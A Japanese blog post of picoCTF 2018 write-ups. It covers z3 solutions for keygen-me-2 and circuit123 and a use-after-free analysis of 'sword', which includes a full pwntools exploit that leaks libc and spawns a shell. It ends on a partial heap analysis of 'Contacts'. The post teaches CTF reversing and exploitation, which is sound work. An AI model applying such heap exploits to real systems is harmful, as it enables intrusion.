ビルド確認には上記サイトで紹介されている簡単なプログラムを動かしてみました。期待通りの結果が出力。ヨシ(๑•̀ㅂ•́)و✧
これでz3環境が整いました!
radareで出したアセンブリ(constraint)
をここに貼っていたんだけども、重くなりすぎたので割愛
どうやらすべてのconstraint関数で、sym.ord
と sym.mod
がコールされています。中身を確認すると、どうやら通常のとは少し挙動が違うようなのでこれも関数化しておきます。
radareで出したアセンブリ(ord,mod)
[0x0804870a]> s sym.ord [0x080486b8]> pdf / (fcn) sym.ord 82 | sym.ord (int arg_8h); | ; var int local_ch @ ebp-0xc | ; arg int arg_8h @ ebp+0x8 | ; XREFS(33) | 0x080486b8 55 push ebp | 0x080486b9 89e5 mov ebp, esp | 0x080486bb 83ec18 sub esp, 0x18 | 0x080486be 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x080486c1 8845f4 mov byte [local_ch], al | 0x080486c4 807df42f cmp byte [local_ch], 0x2f ; '/' | ,=< 0x080486c8 7e0f jle 0x80486d9 | | 0x080486ca 807df439 cmp byte [local_ch], 0x39 ; '9' | ,==< 0x080486ce 7f09 jg 0x80486d9 | || 0x080486d0 0fb645f4 movzx eax, byte [local_ch] | || 0x080486d4 83e830 sub eax, 0x30 ; '0' | ,===< 0x080486d7 eb2f jmp 0x8048708 | ||| ; CODE XREFS from sym.ord (0x80486c8, 0x80486ce) | |``-> 0x080486d9 807df440 cmp byte [local_ch], 0x40 ; '@' | | ,=< 0x080486dd 7e0f jle 0x80486ee | | | 0x080486df 807df45a cmp byte [local_ch], 0x5a ; 'Z' | |,==< 0x080486e3 7f09 jg 0x80486ee | ||| 0x080486e5 0fb645f4 movzx eax, byte [local_ch] | ||| 0x080486e9 83e837 sub eax, 0x37 ; '7' | ,====< 0x080486ec eb1a jmp 0x8048708 | |||| ; CODE XREFS from sym.ord (0x80486dd, 0x80486e3) | ||``-> 0x080486ee 83ec0c sub esp, 0xc | || 0x080486f1 68648f0408 push str.Found_Invalid_Character ; 0x8048f64 ; "Found Invalid Character!" | || 0x080486f6 e895fdffff call sym.imp.puts ; int puts(const char *s) | || 0x080486fb 83c410 add esp, 0x10 | || 0x080486fe 83ec0c sub esp, 0xc | || 0x08048701 6a00 push 0 | || 0x08048703 e898fdffff call sym.imp.exit ; void exit(int status) | || ; CODE XREFS from sym.ord (0x80486d7, 0x80486ec) | ``---> 0x08048708 c9 leave \ 0x08048709 c3 ret [0x080486b8]> s sym.mod [0x08048771]> pdf / (fcn) sym.mod 37 | sym.mod (int arg_8h, int arg_ch); | ; var int local_4h @ ebp-0x4 | ; arg int arg_8h @ ebp+0x8 | ; arg int arg_ch @ ebp+0xc | ; XREFS: CALL 0x080487d8 CALL 0x08048830 CALL 0x08048887 CALL 0x080488fc CALL 0x08048971 CALL 0x080489e6 | ; XREFS: CALL 0x08048a5b CALL 0x08048ad0 CALL 0x08048b45 CALL 0x08048bba CALL 0x08048c2f CALL 0x08048ca4 | 0x08048771 55 push ebp | 0x08048772 89e5 mov ebp, esp | 0x08048774 83ec10 sub esp, 0x10 | 0x08048777 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x0804877a 99 cdq | 0x0804877b f77d0c idiv dword [arg_ch] | 0x0804877e 8955fc mov dword [local_4h], edx | 0x08048781 837dfc00 cmp dword [local_4h], 0 | ,=< 0x08048785 790a jns 0x8048791 | | 0x08048787 8b55fc mov edx, dword [local_4h] | | 0x0804878a 8b450c mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12 | | 0x0804878d 01d0 add eax, edx | ,==< 0x0804878f eb03 jmp 0x8048794 | || ; CODE XREF from sym.mod (0x8048785) | |`-> 0x08048791 8b45fc mov eax, dword [local_4h] | | ; CODE XREF from sym.mod (0x804878f) | `--> 0x08048794 c9 leave \ 0x08048795 c3 ret
z3pyのリファレンスは、日本語サイトのこちらを使いました。
ここで、ord
関数で困ったことが。これもz3にぶち込む形にしたかったのですが、"and"(条件式)処理のかきかたがわからぬ。上記のリファレンスを見ても "And は python の and とは違う挙動" ということなので、そもそも条件式としてのandが書けなさそう。少なくとも調べた上ではわからなかったのでord関数が書けない( ತಎತ)
def o(c): if c > 0x2f and c <= 0x39: return c - 0x30 else: return c - 0x37
こんだけのことなんですけどね。そこでこの関数の役割を考えてみました。
まず、 sym.check_valid_char
を見てみると、想定する入力は 0~9, A-Zのみのようです。
また、chr(i)
に与える i
の入力について、
- 0x30 ~ 0x3a : 0-9
- 0x41 ~ 0x60 : A-Z
なので、今回は
- 数値がきた時は 0~9 (i-0x30) に割当
- A-Zが来た時は 10~35 (i-0x37) に割当
という変換をしているだけの様子。しかも制約関数には影響がなく、個別の入力値(key[i]
)に対してのみ作用しているので、解の候補が見つかってから逆変換してあげることで問題なさそう。下記プログラムでは、あえて o(c): ord関数
の呼び出しを残していますが何もさせていません。その代わり、入力値の候補が出た後で戻しています。
アセンブリを12関数も読んだら死んじゃうんじゃないかと思いましたが、幸いconstraint*関数は、1つ読めたら後はほぼ同じパターンだったので助かった。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import z3 # my ord def o(c): return c """ # return z3.If( c>0x2f and c<=0x39, c-0x30, c-0x37 ) # Error: Symbolic expressions cannot be cast to concrete Boolean values. # ということで and の条件式の書き換えがわからなかった。解説参照。下記がやりたかった。 if c > 0x2f and c <= 0x39: return c - 0x30 else: return c - 0x37 """ # my mod def m(x, y): return z3.If( x % y >= 0, x % y, x % y + y ) """ # Symbolic expressions cannot be cast to concrete Boolean values. # ということでz3で用意している関数の3項演算子に下記を置き換え # https://wiki.mma.club.uec.ac.jp/CTF/Toolkit/z3py#A.2BZ2FO9lIGXJA.28If.29 if x % y >= 0: return x % y else: return x % y + y """ s = z3.Solver() key = [] for i in range(16): key.append(z3.Int('k' + str(i))) s.add(key[i] >= 0) s.add(key[i] <= 10+26-1) s.add(m((o(key[0]) + o(key[1])), 36) == 14) s.add(m((o(key[2]) + o(key[3])), 36) == 24) s.add(m((o(key[2]) - o(key[0])), 36) == 6) s.add(m((o(key[1]) + o(key[3]) + o(key[5])), 36) == 4) s.add(m((o(key[2]) + o(key[4]) + o(key[6])), 36) == 13) s.add(m((o(key[3]) + o(key[4]) + o(key[5])), 36) == 22) s.add(m((o(key[6]) + o(key[8]) + o(key[10])), 36) == 31) s.add(m((o(key[1]) + o(key[4]) + o(key[7])), 36) == 7) s.add(m((o(key[9]) + o(key[12]) + o(key[15])), 36) == 20) s.add(m((o(key[13]) + o(key[14]) + o(key[15])), 36) == 12) s.add(m((o(key[8]) + o(key[9]) + o(key[10])), 36) == 27) s.add(m((o(key[7]) + o(key[12]) + o(key[13])), 36) == 23) print(s.check()) print(s.model()) output = '' for i in range(0, 16): v =(s.model()[key[i]]).as_long() if v < 10: # 数値だった場合 output += chr(v + 0x30) else: # 数値以外だった場合 output += chr(v + 0x37) print(output)
実行結果
$ python solve.py sat [k11 = 0, k10 = 20, k12 = 0, k2 = 9, k15 = 13, k6 = 11, k14 = 15, k13 = 20, k7 = 3, k9 = 7, k3 = 15, k0 = 3, k8 = 0, k5 = 14, k1 = 11, k4 = 29] 3B9FTEB307K00KFD
16桁のkeyっぽいのが求まりました。これをflag.txt
がちゃんとおいてあるpicoCTFのshell server上で確認してみます。
$ ./activate 3B9FTEB307K00KFD Product Activated Successfully: picoCTF{c0n5tr41nt_50lv1nG_15_W4y_f45t3r_2355915573}
ᐠ( ᐛ )ᐟ
ちなみに、入力文字が 0-9, A-Z しかなくて、しかも16桁ってわかってる + バイナリもらってる ってことは、ローカルでブルートフォースできるんじゃ?ということでやってみた。が、9時間ぶん回しても出てこなかったので諦めた。
[Web] LambDash 3 (800pt) ※サイトダウンで解けず
C? Who uses that anymore. If we really want to be secure, we should all start learning lambda calculus. http://2018shell.picoctf.com:7284 (link)
Hints
This compiler is 99.9% bug free! I'm sure the other 0.1% won't amount to anything...
タイトルが LambDash 3
だけど、1,2はどこ行ったのだろうか。
指定されたurlに飛んでみます。
クライアントを変えて接続してみても変わらず。
$ curl http://2018shell.picoctf.com:7284/ curl: (7) Failed to connect to 2018shell.picoctf.com port 7284: Connection refused
ʅ(´-ω-`)ʃ
[Web] Artisinal Handcrafted HTTP 3 (300pt) もまだ復旧してないみたいだし、picoCTF2019の準備でそれどころじゃないんだろうな。
こちらも問い合わせ先のPiazzaにログインしてみてみます。
2019年3月、4月に既に問い合わせがありました。応答はなし。Web問接続できずで2問残ってしもうた( ˘•ω•˘ )
[Reversing] circuit123 (800pt)
Can you crack the key to decrypt map2 for us? The key to map1 is 11443513758266689915.
Hints
Have you heard of z3?
Hintsのz3
、さっきやったばっかりやん!やったのは keygen-me-2
問。でも解けているチーム数がこっちのほうが少ないな?
配布されたのは以下。
decrypt.py
#!/usr/bin/python2 from hashlib import sha512 import sys def verify(x, chalbox): length, gates, check = chalbox b = [(x >> i) & 1 for i in range(length)] for name, args in gates: if name == 'true': b.append(1) else: u1 = b[args[0][0]] ^ args[0][1] u2 = b[args[1][0]] ^ args[1][1] if name == 'or': b.append(u1 | u2) elif name == 'xor': b.append(u1 ^ u2) return b[check[0]] ^ check[1] def dec(x, w): z = int(sha512(str(int(x))).hexdigest(), 16) return '{:x}'.format(w ^ z).decode('hex') if __name__ == '__main__': if len(sys.argv) < 3: print 'Usage: ' + sys.argv[0] + ' <key> <map.txt>' print 'Example: Try Running ' + sys.argv[0] + ' 11443513758266689915 map1.txt' exit(1) with open(sys.argv[2], 'r') as f: cipher, chalbox = eval(f.read()) key = int(sys.argv[1]) % (1 << chalbox[0]) print 'Attempting to decrypt ' + sys.argv[2] + '...' if verify(key, chalbox): print 'Congrats the flag for ' + sys.argv[2] + ' is:', dec(key, cipher) else: print 'Wrong key for ' + sys.argv[2] + '.'
map2
37KB!大きい!
(11290419911155290710690302751351816427340816196576026120444648063369847565343076531411187044376577503480139343099182304342421923153437113486849423485713547L, (128, [('true', []), ('xor', [(0, False), (64, False)]), ('xor', [(129, False), (128, True)]), ('or ...(略)
map1
19KB
(1091562780682878452932647567206562803258945860781462102555439111325671293639822353361220777655154004326830877696329866178864341430343894025596404608627826L, (64, [('true', []), ('xor', [(0, False), (64, False)]), ('xor', [(65, False), (64, True)]), ('or' ...(略)
あとは、map1のときのkeyが渡されています。11443513758266689915
まずは decrypt.py
を眺めてみます。
print 'Usage: ' + sys.argv[0] + ' <key> <map.txt>' print 'Example: Try Running ' + sys.argv[0] + ' 11443513758266689915 map1.txt'
とのことなので、keyとmapのあるmap1
で試してみます。スクリプトがpython2系なので注意。
$ python decrypt.py 11443513758266689915 map1.txt Attempting to decrypt map1.txt... Congrats the flag for map1.txt is: not_a_flag{Real_flag_will_be_loooooooonger_than_me}
お、割と一瞬で出ました。
次に map1.txt
の入出力をサンプルに、変数を出力しながら動作を確認します。
verify
関数の引数および変数は
x: key = 11443513758266689915 length: 64 gates: `('or/xor', [(数値, True/False), (数値, True/False)])` の配列 check: (570, True) b: 1101111010010000000100111111111110000100111000011111001101111001
gatesの数だけ中の式を計算していき、bに結果を追加していきます。
最終的にcheck[0]
で指定したindexの値とcheck[1]
の値をxorし、これが True
になっていればverify成功です。
z3で解くためには、これを制約に落とし込んで行く必要があります。今回制約の要素としては下記。
- 未知の値は
key
0 < key < (1 << 128)
verify(key, chalbox) == True
これをz3にぶち込むのみ。
z3チュートリアルから使ってたInt
型だと、論理演算が出来ないそうなのでBitVec
型を使えと怒られる。BitVec
型はBitVec('変数名', ビット幅)
で宣言します。今回、下記よりビット幅を128と設定できます。
key = int(sys.argv[1]) % (1 << chalbox[0])
※chalbox[0] = 128
あと、z3-solverを python3でのみinstallしていたので、今回のスクリプトに合わせてpython2でもinstallしようと思ったら
DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7. WARNING: Skipping z3-solver as it is not installed.
ということで出来なかった(競技中は出来たのかな?)。decrypt.py
をpython3に書き直して実施。picoCTF2019ではpython2は滅んでるかな?どうかな?
※python3ではmap*.txtの最初の値にL
が不要なので削除することに注意。
結局、本当に verify を z3 にぶち込むだけのお仕事(+ py2 -> py3)になってしまった。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from hashlib import sha512 import sys from z3 import * import binascii def verify(x, chalbox): length, gates, check = chalbox b = [(x >> i) & 1 for i in range(length)] for name, args in gates: if name == 'true': b.append(1) else: u1 = b[args[0][0]] ^ args[0][1] u2 = b[args[1][0]] ^ args[1][1] if name == 'or': b.append(u1 | u2) elif name == 'xor': b.append(u1 ^ u2) return b[check[0]] ^ check[1] def dec(x, w): # changed for py3 z = int(sha512(str(int(x)).encode()).hexdigest(), 16) z_str = ('{:x}'.format(w ^ z)).encode() return binascii.unhexlify(z_str) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: ' + sys.argv[0] + ' <map.txt>') exit(1) with open(sys.argv[1], 'r') as f: cipher, chalbox = eval(f.read()) ### Start to Solve ### s = Solver() key = BitVec('key', 128) key = key % (1 << chalbox[0]) s.add(verify(key, chalbox) == True) print(s.check()) print(s.model()) key = int(str(s.model())[7:-1]) if verify(key, chalbox): print('Congrats the flag for ' + sys.argv[1] + ' is:', dec(key, cipher)) else: print('Wrong key for ' + sys.argv[1] + '.')
実行結果
$ python solve.py map2.txt sat [key = 219465169949186335766963147192904921805] Congrats the flag for map2.txt is: b'picoCTF{36cc0cc10d273941c34694abdb21580d__aw350m3_ari7hm37ic__}'
今回はヒントが解き方の大部分を締めていたこと、z3を使ったばかりだったこと、元のコードを色々いじったりデバッグしたりして動作を確認しやすかったので、とっつきやすかったです。
[Binary] sword (800pt)
Can you spawn a shell and get the flag? Connect with nc 2018shell.picoctf.com 44116. Source. libc.so.6
Hints
- ever heard of use after free?
- Make sure you are run/debug with the provided libc on the shell server
shellを取る問題のようです。ヒントから、ダブルフリーあたりが怪しい気がします。ちなみに、前回解いたダブルフリー関連の問題はSECCON for Beginners CTF 2019 の BabyHeapでした。これでBabyか…と思った記憶。なんだか今回の問題に雰囲気もよく似ています。
配布物は下記。
sword
: 実行ファイルsword.c
: ソースlibc.so.6
: libc
sword.c
はちょっと長めですが、読みやすいコードです。長いのでコード全部の貼り付けは無し。武器の作成・合成・閲覧・破棄・鍛錬・装備という感じのメニューと操作。ゲームやりたくなってきたぞー!picoCTF2018完走したらゲームしよう。そうしようᐠ( ᐛ )ᐟ
※終わる前にドラクエウォーク始めた
接続してみます。
$ nc 2018shell.picoctf.com 44116 /* Welcome! */ 1. Forge a sword. # 剣を作る (create) 2. Synthesise two sword. # 2本の剣を合成 3. Show a sword. # 剣を見る 4. Destroy a sword. # 剣を破棄する (free) 5. Harden a sword. # 剣を鍛える 6. Equip a sword. # 剣を装備する 7. Quit.
あとはコードの通り、剣の作成など各機能が実行出来ます。
さて、まずは対象のobjectの構造を確認します。
struct sword_s { int name_len; int weight; char *sword_name; void (*use_sword)(char *ptr); int is_hardened; };
sword_s
は、create_sword
時にmalloc
で領域を確保、free_sword
時にfree
して使われています。この構造体の中のsword_name
は、harden_sword
内でmalloc
、free_sword
内でfree
されています。sword_s
をfreeしたけどsword_name
領域をfreeし忘れた、もしくはその逆、というのが攻撃に使える予感がします。
use_sword
がなんだかややこしい書き方になっています。装備中かどうかのフラグのように見えるのですがどうでしょう。使われているところを検索してみるとこんな箇所が。
equip_sword()
関数の最後の行
/* Apparently there should be system('/bin/sh'). */
(sword_lists[slot].sword->use_sword)(sword_lists[slot].sword->sword_name);
コメントで、"どうやらsystem('/bin/sh')
がありそうです"とのこと。なんか攻撃に使えそう!親切!
メモリ解放周りにアラがないか、引き続き create
, free
周りを見てみます。
void create_sword() { int slot = pick_sword_free_slot(); if (slot == -1) { printf("Oh my! There are no slot for new swords!\n"); return; } sword_lists[slot].sword = malloc(sizeof(struct sword_s)); if (!sword_lists[slot].sword) { puts("malloc() returned NULL. Out of Memory\n"); exit(-1); } sword_lists[slot].is_used = 1; sword_lists[slot].sword->is_hardened = 0; printf("New sword is forged ^_^. sword index is %d.\n", slot); }
void free_sword() { int slot; printf("What's the index of the sword?\n"); slot = get_int(); if (slot < 0 || slot >= MAX_SWORD_NUM || !sword_lists[slot].is_used) { printf("I don't trust your number!!!!\n"); exit(-1); } sword_lists[slot].is_used = 0; char *name = sword_lists[slot].sword->sword_name; free(sword_lists[slot].sword); free(name); }
剣を作ったり破棄する際、sword_lists
というのを操作してています。このリストの要素の構造は下記のようになっています。
struct sword_list_s { int is_used; struct sword_s *sword; };
各機能実行時に、このis_used
をチェックするようになっています。実際、破棄(free), 閲覧(show), 鍛錬(harden), 合成(synthe)の機能では、各操作の前にsword_lists[*].is_used
を確認しています。ただ一つ、装備(equip)機能のみ、このチェックが外れています。…アヤシイ。
更に free
している箇所を探してみると、何故か鍛錬の機能(harden_sword
)にこんなロジックが。
if (len > MAX_SWORD_LEN) { printf("The name is too long.\n"); free(sword_lists[slot].sword); return; }
"What's the length of the sword name?" と聞かれて入力する値が len
に入ってくるわけなんですが、これが MAX_SWORD_LEN(0x100)
を超えていたら、鍛錬対象のsword領域をfreeしちゃうようです。通常の剣の破棄と違うプロセス。is_used
も1のままのようです。これは使えそう!
ちなみにこのharden_sword
、
printf("OK....Plz wait for forging the sword..........\n"); sleep((weight + 1) * 10000000);
ここの部分で剣の重さを入力した後sleep
が発動し、負の値を入力しないとタイムアウトして Blade master is angry!
と怒られて接続切られちゃいます。
また、synthe_sword()
関数に /* Vuln. */
とコメントが。…アヤシイ。
この機能の流れは下記。
- 合成対象の
sword1
とsword2
のindex(slot
)を入力させます - 合成対象の2本の剣を消滅させるために、
is_used
を0に設定 - 合成演出のためにsleep(笑)
- 剣の名前をマージ
- 2本目の剣の方に新しい名前を設定
- 2本目の剣の
is_used
を1に設定 - 1本目の剣の名前を
free
最後の1本目の剣をfreeするときに、nameの領域のみfreeしているのが気になりますが、is_used
を先に0に設定しているので問題なさそうです。うーむ?なにか攻撃に使えるかな?
怪しいところを一通り確認し、攻撃方法を考えてみます。
最終的にshellを取るには、equip
機能で参照する sword_name
の先にshellを起動する何かを配置できると良さそうです。libcも配布されているので、libcのsystemを使うのかな。
この時(equip時)に触るswordは、提供されたサービスの機能だけを使っているとuse_sword
が固定でhoo
関数(この剣カッコイイぜ…!っていうだけ)になってしまうため、systemに飛ばすことが出来ません。なので、こっちで都合よいように作って送り込めるとよさそう。
じゃあどうやって好きなswordを作るか?ですが、harden_sword
のバグを使います。上記で確認したように、剣の名前の長さを 0x100 以上の指定にすると、sword_list の is_used は 1 のまま、 sword 領域を開放してしまいます。(sword_1)
直後に、もう一度 harden_sword
(sword_2)を実行し、今度は正常な長さの name_len を指定すると、そのサイズでメモリを確保してくれます。この時、先程解放した sword_1 の領域が使われます。さらに、harden_sword
時のname
に sword
と同じ構造のデータを送り込んでやると、is_used
が1
のままなので、先程解放したはずのsword_1
はまだ生きているとプログラムが勘違いして動いてくれそうです。
この攻撃手法は Use After Free (UAF)
と呼ばれており、[Binary] are you root? (550pt)でも使っていました。
このときのsword_1
の構造は
struct sword_s { int name_len; // 0x100以下、sword_nameの長さ int weight; char *sword_name; // libcのbinshのアドレス void (*use_sword)(char *ptr); // libcのsystemのアドレス int is_hardened; };
というようになっていると
(sword_lists[slot].sword->use_sword)(sword_lists[slot].sword->sword_name);
equip関数の上記の処理でsehllが起動できそうです。
ここで、libcの色々のアドレスが必要になってきそうなんですが
[*] '***/ctf/picoCTF_2018/Binary/sword/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
PIEまで有効になっているため、アドレスは起動のたびに変わってしまいます。なので、接続時になんとかそれぞれのlibcの機能のアドレスを確認したい。
これは先程と同様、harden 機能のバグを利用して、今度は name に 何らかのfunctionのアドレスが入るようなペイロードを突っ込めば良さそう。
struct sword_s { int name_len; // 0x100以下、sword_nameの長さ int weight; char *sword_name; // なにかのgotエントリ void (*use_sword)(char *ptr); // てきとう int is_hardened; };
このあと、show_sword
を実行すると、nameとweightを教えてくれるので、そこに"なにか(今回はputs)"のアドレスが表示されるはず。
最終スクリプトはこちら
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * from ctypes import * MAX_SWORD_LEN = 0x100 host = '2018shell.picoctf.com' port = 44116 class sword_s(Structure): _fields_ = [('name_len', c_int32), ('weight', c_int32), ('sword_name', c_char_p), ('use_sword', c_char_p), ('is_hardened', c_int32)] def create_sword_s(name_len, name, use_sword): sword = sword_s() sword.name_len = name_len sword.weight = 0 sword.sword_name = name sword.use_sword = use_sword sword.is_hardened = 0 return sword def pad(size, buff, pad_data): while len(buff) < size: buff += pad_data return buff def recv_menu(): r.recvuntil(b'7. Quit.\n') def forge(): recv_menu() print(b'### 1. Forge') r.sendline(b'1') r.recvuntil(b'.') res = r.recvuntil(b'.') print(res) idx = int(res[-2:-1]) return idx def show(idx): recv_menu() print(b'### 3. Show: ' + str(idx).encode()) r.sendline(b'3') r.recvuntil(b"What's the index of the sword?") r.sendline(str(idx).encode()) r.recvline() r.recvline() # weight res = r.recvline() # name print(res) name = res.split(b' ')[3].rstrip() return name def harden(idx, name_len, name): recv_menu() print(b'### 5. Harden: ' + str(idx).encode() + b', name: ' + name) r.sendline(b'5') r.recvuntil(b"What's the index of the sword?") r.sendline(str(idx).encode()) r.recvuntil(b"What's the length of the sword name?") r.sendline(str(name_len).encode()) if name_len > MAX_SWORD_LEN: r.recvuntil(b'The name is too long.') print('+++ sword freed illegally.') return r.recvuntil(b"Plz input the sword name.") r.sendline(name) r.recvuntil(b"What's the weight of the sword?") r.sendline(b'-1') print('+++ sword name is malloced & poisoned.') def equip(idx): recv_menu() print(b'### 6. Equip: ' + str(idx).encode()) r.sendline(b'6') r.recvuntil(b"What's the index of the sword?") r.sendline(str(idx).encode()) r.recv() ### prepare target = ELF('./sword') libc = ELF('./libc.so.6') r = remote(host, port) swords = [] ### get libc_base for _ in range(2): swords.append(forge()) harden(swords[0], MAX_SWORD_LEN+1, b'') sword4libc = create_sword_s(8, target.got[b'puts'], 0) harden(swords[1], sizeof(sword4libc), memoryview(sword4libc).tobytes()) libc_puts = u64(pad(8, show(swords[0]), b'\x00')) print('+++ libc puts addr: ' + hex(libc_puts)) libc_base = libc_puts - libc.symbols[b'puts'] ### get shell for _ in range(2): swords.append(forge()) harden(swords[2], MAX_SWORD_LEN+1, b'') binsh = b'/bin/sh' sword4shell = create_sword_s(len(binsh), \ libc_base + next(libc.search(binsh)), \ libc_base + libc.symbols[b'system']) harden(swords[3], sizeof(sword4shell), memoryview(sword4shell).tobytes()) equip(swords[2]) r.interactive()
実行結果
$ python solve.py [*] '***/ctf/picoCTF_2018/Binary/sword/sword' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE RPATH: b'./' [*] '***/ctf/picoCTF_2018/Binary/sword/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 2018shell.picoctf.com on port 44116: Done b'### 1. Forge' b' sword index is 0.' b'### 1. Forge' b' sword index is 1.' b'### 5. Harden: 0, name: ' +++ sword freed illegally. b'### 5. Harden: 1, name: \x08\x00\x00\x00\x00\x00\x00\x00 `\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +++ sword name is malloced & poisoned. b'### 3. Show: 0' b'The name is \x90\xf6I\xc1v\x7f\n' +++ libc puts addr: 0x7f76c149f690 b'### 1. Forge' b' sword index is 2.' b'### 1. Forge' b' sword index is 3.' b'### 5. Harden: 2, name: ' +++ sword freed illegally. b'### 5. Harden: 3, name: \x07\x00\x00\x00\x00\x00\x00\x00W\xcd[\xc1v\x7f\x00\x00\x90SG\xc1v\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +++ sword name is malloced & poisoned. b'### 6. Equip: 2' [*] Switching to interactive mode $ ls flag.txt libc.so.6 sword sword.c xinet_startup.sh $ cat flag.txt picoCTF{usE_aFt3R_fr3e_1s_aN_1ssu3_300469f1} $ [*] Interrupted [*] Closed connection to 2018shell.picoctf.com port 44116
ᐠ( ᐛ )ᐟ
しかし、めっちゃ "Vuln." って書いてある synthe_sword
機能を全く使わなかったので、想定解じゃないかもしれない…。picoCTF親切だから本気のヒントだと思って本気で見たんだけどな?
でも今回の解き方もわりと綺麗だと思うんだけどな?
ctypes
の紹介
pythonとCといえば、Cythonが有名ですが、私は今回初めてctypes
というのを知りました。cの構造体をそのままpythonで表現したかったのでpython c 構造体
とかでググったら出てきました。
公式ドキュメントはこちら
ctypes --- Pythonのための外部関数ライブラリ — Python 3.8.0 ドキュメント
ctypes は Python のための外部関数ライブラリです。このライブラリは C と互換性のあるデータ型を提供し、動的リンク/共有ライブラリ内の関数呼び出しを可能にします。動的リンク/共有ライブラリを純粋な Python でラップするために使うことができます。
とのことです。今回はsword_s
構造体をこちらで用意し、リクエストに含めて送信する際に利用しました。
公式ドキュメントと、主にこちらの記事を参考にさせていただきました。今回やりたいことが簡潔にまとまっていてわかり易かったです。
[Binary] Contacts (850pt)
This program for storing your contacts is currently in beta. Can you hijack control and get a shell? Connect with nc 2018shell.picoctf.com 40352. Source. libc.so.6
Hints
- If only the author used calloc() instead...
- fastbin fastbin fastbin
- Make sure you are run/debug with the provided libc on the shell server
Shellを取る問題のようです。ヒントから、malloc
じゃなくてcalloc
を使ってれば…ってことなので、calloc
にはないmalloc
の脆弱性が問題っぽいです。更にfastbin
についての言及があります。大事なことだから3回言っているんでしょうかね。
ちなみに malloc と calloc の違いは
calloc関数は、確保した領域の全てのビットを0で埋める動作を行うことが、malloc関数との違いです
だそうです。なんとなく、メモリが初期化されずに使われる脆弱性がありそうな気がします。
まずは接続して動作を確認してみます。
$ nc 2018shell.picoctf.com 40352 Available commands: display - display the contacts create [name] - create a new contact delete [name] - delete an existing contact bio [name] - set the bio for an existing contact quit - exit the program
問い合わせか何かの管理をするシステムのようです(contactsの意味がいまいち掴みきれなかった)。contactを登録・削除、既存のcontactにbio(自己紹介)を書く、contactの一覧を見る、の機能のようです。こんな挙動。
Enter your command: > create test1 Created contact "test1" Enter your command: > create test2 Created contact "test2" Enter your command: > display test1 - (No bio) test2 - (No bio) Enter your command: > bio test1 How long will the bio be? 10 Enter your new bio: abcdefghij Bio recorded. Enter your command: > Invalid option Available commands: display - display the contacts create [name] - create a new contact delete [name] - delete an existing contact bio [name] - set the bio for an existing contact quit - exit the program Enter your command: > display test1 - abcdefghij test2 - (No bio) Enter your command: > delete test2 Deleted contact "test2" Enter your command: > bio test2 Can't find contact Enter your command: > quit
bioを書かせる前に長さを聞いてくるあたりが怪しい。一度削除したcontactにはbio追加できないようだ。今回もソースコードが長めなので全貼りは無し。200行でした。
とても大事なヒントのようなので、fastbin
について調べてみます。名前だけは聞いたことがあり、メモリ管理系のスライドをどこかで見たときに聞いたなー程度の認識でした。いい機会なので再度メモリ管理についてもおさらいしました。書籍とかでちゃんと体系的に勉強すべきとは思いつつ、Webで記事あさり。
- YouTube
- この動画はmalloc界のバイブルなのかな?
- スライドはこちら Glibc malloc internal
- mallocの動作を追いかける(mmap編) - Qiita
- 上記の動画を必ず紹介するところから始まるmalloc解説シリーズ。
- fastbin回はこちら mallocの動作を追いかける(fastbins編) - Qiita
- malloc/free まとめ - きゅうり。
- Understanding glibc malloc – sploitF-U-N ※英語
ざっくり理解したfastbins
mallocでは確保する領域を探す際に、freeされた領域へのリンクリストを探索して、要求されたサイズ以上の空きを探します。この時、要求されたサイズが
max_fast
以下の小さい領域だった場合、fastbins
が使われます。fastbinsはサイズに応じて10個リストが用意されており、要求されたサイズに近いサイズを割り当てることができます。小さいサイズのchunkは頻繁に確保・解放が繰り返されるため、fastbinsを使うことでメモリのフラグメントの発生を抑制します。また、fastbinsのchunkは、binsのchunkに比べて構造が単純になっているため、確保・解放の処理もシンプルでコストが抑えられます。max_fast
はデフォルトで x64 で 0x160, x32 で 0x80(=128d) だそうです。
他にも、mallocの歴史や改良の軌跡、fastbinリセットの話もあって面白かった。malloc解説シリーズはサクッと読みやすい、且つ細かい挙動の解説、図(ていうかメモリダンプ)での解説がわかりやすかったのでおすすめです。
さて、コードを見てみます。肝になりそうなcontact
の構造体。
struct contact { char *name; char *bio; };
name と bio へのポインタを持っています。
次に、mallocとfreeの箇所を確認します。mallocが使われているのは、下記の二箇所。
void create_contact(char *name){ ... struct contact *contact = (struct contact *)malloc(sizeof(struct contact));
void set_bio(struct contact *contact){ ... contact->bio = (char *)malloc(length+1);
ここで気になるのは、contactの生成時にbio情報が不要で、初期化もされていないことです。こちらcreate_contact
関数。
void create_contact(char *name){ if (num_contacts == MAX_CONTACTS){ puts("Too many contacts! Delete one first!"); return; } struct contact *contact = (struct contact *)malloc(sizeof(struct contact)); if (contact == NULL){ puts("Could not allocate new contact."); exit(-1); }; /* make a copy of the name on the heap */ contact->name = strdup(name); if (contact->name == NULL){ puts("Could not duplicate name."); exit(-1); } contacts[num_contacts++] = contact; }
bio情報はset_bio
関数で初めて値が入ります。
deleteが使われているのは下記の2箇所。
void delete_contact(struct contact *contact){ free(contact->name); /* if the bio is set, free it as well */ if (contact->bio != NULL){ free(contact->bio); } free(contact);
void set_bio(struct contact *contact){ ... /* we'll replace the old bio */ if (contact->bio != NULL){ free(contact->bio); }
この2つ目のset_bio
内のfreeですが、既存のbioがあれば上書きするためにfreeするようなコメントが入っています。が、入力値のvalidationが終わりきっていないタイミングのため、その後のbioのlength入力の際のチェック(null, length>255)に引っかかった場合は新しいbioをセットせずに既存のbioを解放しっぱなしで処理を終えてしまいます。
